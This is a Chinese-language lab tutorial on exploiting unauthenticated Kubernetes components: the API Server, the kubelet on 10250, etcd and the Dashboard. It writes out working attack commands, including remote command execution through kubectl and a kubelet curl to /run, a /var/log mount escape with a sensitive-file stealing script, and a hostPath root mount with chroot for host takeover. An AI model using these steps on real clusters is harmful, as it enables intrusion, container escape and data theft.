它的未授权主要包括以下几种:
K8s 的 API Server 默认服务端口为 8080 (insecure-port) 和 6443 (secure-port),8080 端口提供 HTTP 服务,没有认证授权机制,而 6443 端口提供 HTTPS 服务,支持认证 (使用令牌或客户端证书进行认证) 和授权服务。默认情况下 8080 端口不启动,而 6443 端口启动。这两个端口的开放取决于 /etc/kubernetes/manifests/kube-apiserver.yaml 配置文件。
如果目标 K8s 的 8080 端口开启了,由于其没有认证授权机制,因此存在未授权访问。
如果目标 K8s 的 6443 端口开启了,如果配置错误,也可以导致存在未授权访问。
默认情况下,8080端口是关闭的,需要我们手动开启
vim /etc/kubernetes/manifests/kube-apiserver.yaml
重启k8s
systemctl restart kubectl
访问 8080 端口即可看到存在未授权。
如果配置不当,将 "system:anonymous" 用户绑定到 "cluster-admin" 用户组,则会使得 6443 端口允许匿名用户以管理员权限访问。
正常情况下访问 6443 端口,提示 Forbidden。
执行以下命令将 "system:anonymous" 用户绑定到 "cluster-admin" 用户组
kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous
知道这种未授权访问,有什么用呢?或者说我们应该如何利用呢?
下面来说说他的利用方式:
我们随便使用一台安装了kubectl的机器就行,简单来说,知道了API server未授权,其实就可以用kubectl来进行命令执行:
查看集群信息
kubectl -s http://101.26.108.16:8080 cluster-info
查看node节点信息以及pod信息
kubectl -s http://101.36.108.16:8080 get nodes
kubectl -s http://101.36.108.16:8080 get pods
查看node和pod的详细信息
kubectl -s http://101.36.108.16:8080 get nodes -o wide
kubectl -s http://101.36.108.16:8080 get pods describe pod escaper
进入到escaper(这是一个可以进行逃逸的环境),进行逃逸
kubectl -s http://101.36.108.16:8080 exec -n default -it escaper -- /bin/bash
通过这种方式巧妙利用了 Kubernetes 的 RBAC、服务账户和卷挂载等机制,实现了直接访问宿主机文件系统的逃逸方法。
RBAC 是 Kubernetes 中用于授权和访问控制的核心机制,它允许你定义谁可以在集群中执行什么操作。
卷挂载和服务账户通常用于解决应用程序需要访问共享存储或其他资源的情况,而 RBAC 用于控制哪些用户、组或服务账户可以执行哪些操作。这些机制共同帮助确保 Kubernetes 中的容器化应用程序的安全性和可控性。通过合理配置 RBAC 角色和角色绑定,限制服务账户的权限,并使用适当的卷挂载策略,可以加强容器化应用程序的安全性,确保敏感数据不被未经授权的实体访问。
满足条件:
实验环境
Metarget云上靶场
实验搭建
git clone https://github.com/Metarget/metarget.git
cd metarget/
pip3 install -r requirements.txt
./metarget gadget install k8s --version 1.16.5
./metarget cnv install mount-var-log
至此,环境搭建完成。(期间如果各种报错卡死,可以尝试国外的或者香港服务器)
若无法生成escaper,则手动修改metarget/vulns_cn/mounts/pods下的mount-var-log.yaml文件,其内容如下:(若是裸机搭建的k8s,也可直接创建以下内容的yaml文件)
apiVersion: v1
kind: ServiceAccount
metadata:
name: logger
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: user-log-reader
rules:
- apiGroups: [""]
resources:
- nodes/log
verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: user-log-reader
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: user-log-reader
subjects:
- kind: ServiceAccount
name: logger
namespace: default
---
apiVersion: v1
kind: Pod
metadata:
name: escaper
spec:
serviceAccountName: logger
containers:
- name: escaper
image: danielsagi/kube-pod-escape
volumeMounts:
- name: logs
mountPath: /var/log/host
volumes:
- name: logs
hostPath:
path: /var/log/
type: Directory
使配置生效
kubectl apply -f dashboard-svc-account.yaml
漏洞检测
前提是处于 k8s 环境下,执行以下指令
find / -name lastlog 2>/dev/null | wc -l | grep -q 3 && echo "/var/log is mounted." || echo "/var/log is not mounted."
这边可以看出,漏洞存在
漏洞复现
查看并进入容器
kubectl get pods
kubectl exec --stdin --tty escaper -- /bin/bash
将这里的 /var/log 目标挂载到了 /var/log/host 下,并创建软链接
cd /var/log/host
ln -s / ./root_link
直接使用脚本,一键窃取敏感文件 https://github.com/danielsagi/kube-pod-escape
chmod 777 find_sensitive_files.py
python find_sensitive_files.py
df -h 查看磁盘信息,出现k8s或者kubernetes字样
df -h
(该图出自他人)
env 查看环境变量,出现k8s特征字样
env
(该图出自他人)
端口 10250 是 Kubernetes 集群中 Kubelet 的默认端口。Kubelet 是 Kubernetes 集群中每个节点上运行的主要“节点代理”,负责管理该节点上的容器和 Pod。在缺少对TLS身份验证,在一些默认配置中启用了--anonymous-auth默认为true,则允许匿名身份访问API。
直接访问会显示404
访问pods会显示未授权
将/var/lib/kubelet/config.yaml配置错误的修改为如下:
接下来重启kubelet,再次访问
systemctl restart kubelet
利用方式也是命令执行,和API Sever的有点区别
curl -XPOST -k "https://${IP_ADDRESS}:10250/run///" -d "cmd="
三个参数分别为:
1、namespace
2、pod
3、container
可以在如图页面中获取:
下面我随便连我的另一台服务器,执行以下命令
curl -XPOST -k https://101.36.108.16:10250/run/kube-system/kube-scheduler-10-7-181-56/kube-scheduler -d "cmd=ls"
2379(用于客户端与ectd通信)在默认配置当中是可以直接访问获取些敏感信息。
本地127.1可免认证访问,其他地址要带--endpoint参数和cert进行认证。
安装k8s之后默认的配置2379都只会监听127.0.0.1,而不会监听0.0.0.0,那么也就意味着最多就是本地访问,不能公网访问。
实战很少遇到,利用也比较麻烦,稍作了解即可。
概念
k8sDashboard主要用于在Kubernetes集群中部署一个基于Web UI的Dashboard,来方便用户进行集群管理。
其主要功能包括:
总体来说,Dashboard为用户提供了一个图形化的Web界面来管理Kubernetes集群,相比于只通过命令行的方式,Dashboard可以大大简化集群管理操作,提高用户的使用体验。
下载安装
wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.2.0/aio/deploy/recommended.yaml
构建pod
kubectl apply -f recommended.yaml
访问这个连接看是否存在:
https://101.36.108.16:6443/api/v1/namespaces/
或者输入一下指令看是否成功创建
kubectl get pod -n kubernetes-dashboard
kubectl get svc -n kubernetes-dashboard
创建kubernetes-dashboard管理员角色
vim dashboard-svc-account.yaml
apiVersion: v1
kind: ServiceAccount
metadata:
name: dashboard-admin
namespace: kube-system
---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
metadata:
name: dashboard-admin
subjects:
- kind: ServiceAccount
name: dashboard-admin
namespace: kube-system
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io
使其生效:
kubectl apply -f dashboard-svc-account.yaml
角色创建完成。
为什么会出现这个问题:因为在启动dashborad的时候,管理员为了方便,修改了配置,跳过了登录。
需要添加两个参数,一个是不需要登录,一个是绑定0.0.0.0地址
vim recommended.yaml
若出现以上告警,使用如下命令
kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard --address 0.0.0.0 9090:443
即可访问成功
使用命令获取admin的token
kubectl get secrets -n kube-system | grep dashboard-admin
kubectl describe secret dashboard-admin-token-wtl4c -n kube-system
成功登录到dashboard页面
通过创建dashboard创建pod并挂在宿主机的根目录
apiVersion: v1
kind: Pod
metadata:
name: myapp
spec:
containers:
- image: nginx
name: container
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /
这里将宿主机的目录挂在到了/mnt目录下
这边我们可以直接chroot /mnt,获取宿主机权限
kubectl get pods #查询Pod
kubectl get pods -n namespace #查询指定命名空间的Pod
kubectl get pods --all-namespaces #查询所有命名空间的Pod
kubectl describe pod pod-name #查询Pod的详细信息
kubectl get serviceaccount #查询服务账户详情
kubectl create serviceaccount account-name #创建服务账户
kubectl config view 打印出kubeconfig #配置内容
kubectl get rolebinding -n namespace #查看rbac权限设置
kubectl describe role role-name -n namespace #查看角色所绑定的规则
kubectl exec -it pod-name -c container-name -- /bin/bash #进入指定Pod的容器内部
kubectl cp pod-name:container-path local-path #从容器内复制文件到本地
kubectl get deployment #查询Deployment的信息
kubectl scale deployment deployment-name --replicas=3 #扩容/缩容Deployment的Pod数量
kubectl rollout restart deployment deployment-name #重启Deployment管理的所有Pod
kubectl apply -f file.yaml #应用YAML配置文件
参考链接:
https://www.wangan.com/p/11v7283d0d369875 K8s API Server未授权命令执行
https://blog.csdn.net/m0_54255157/article/details/129752998 kubernetes的学习—部署 Dashboard
https://cloud.tencent.com/developer/article/2000490 浅析K8S各种未授权攻击方法
https://xz.aliyun.com/t/10745 云原生之Kubernetes安全
https://zhuanlan.zhihu.com/p/639063247 从零开始的K8S学习笔记(三)部署服务以及kubectl的使用
https://baijiahao.baidu.com/s?id=1743393599634353770&wfr=spider&for=pc k8s serviceAccount授权和认证机制